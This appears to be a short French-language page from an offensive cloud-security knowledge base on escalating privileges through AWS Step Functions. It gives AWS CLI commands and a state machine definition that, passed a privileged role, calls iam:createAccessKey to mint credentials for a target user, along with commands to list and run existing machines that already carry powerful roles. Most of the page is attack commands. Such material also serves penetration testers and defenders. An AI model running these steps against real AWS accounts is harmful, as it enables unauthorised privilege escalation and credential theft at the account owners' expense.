Une machine à états (state machine) Step Functions s'exécute avec un rôle d'exécution et peut appeler directement des actions de service AWS depuis sa définition. Avec states:CreateStateMachine (plus iam:PassRole), un attaquant définit une machine dont les états Task exécutent des actions privilégiées en tant que rôle transmis ; avec states:UpdateStateMachine, une machine existante est détournée ; et states:StartExecution sur une machine qui porte déjà un rôle puissant exécute son workflow sans aucune modification.
Créer une machine qui agit en tant que rôle transmis#
cat > def.json <<'JSON'
{ "StartAt":"go","States":{
"go":{"Type":"Task","Resource":"arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters":{"UserName":"target"},"End":true}}}
JSON
aws stepfunctions create-state-machine --name x \
--role-arn arn:aws:iam::<acct>:role/<privileged-role> \
--definition file://def.json
aws stepfunctions start-execution --state-machine-arn <arn>
Piloter une machine existante#
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn <arn> --query roleArn
aws stepfunctions start-execution --state-machine-arn <arn> --input '{}'
Notes d'exploitation#
- L'intégration SDK (
arn:aws:states:::aws-sdk:<service>:<action>) permet à une machine à états d'appeler presque n'importe quelle API AWS en tant que son rôle, de sorte que les permissions du rôle définissent le rayon d'impact. create-state-machineavec--role-arnnécessiteiam:PassRole, ce qui en fait un chemin d'élévation de privilèges par PassRole propre à Step Functions ; l'article côté identité est pass-role/step-functions.- Une machine qui porte déjà un rôle étendu est exploitable avec le seul
start-execution.
Outils#
- AWS CLI (
stepfunctions create-state-machine,start-execution,list-state-machines).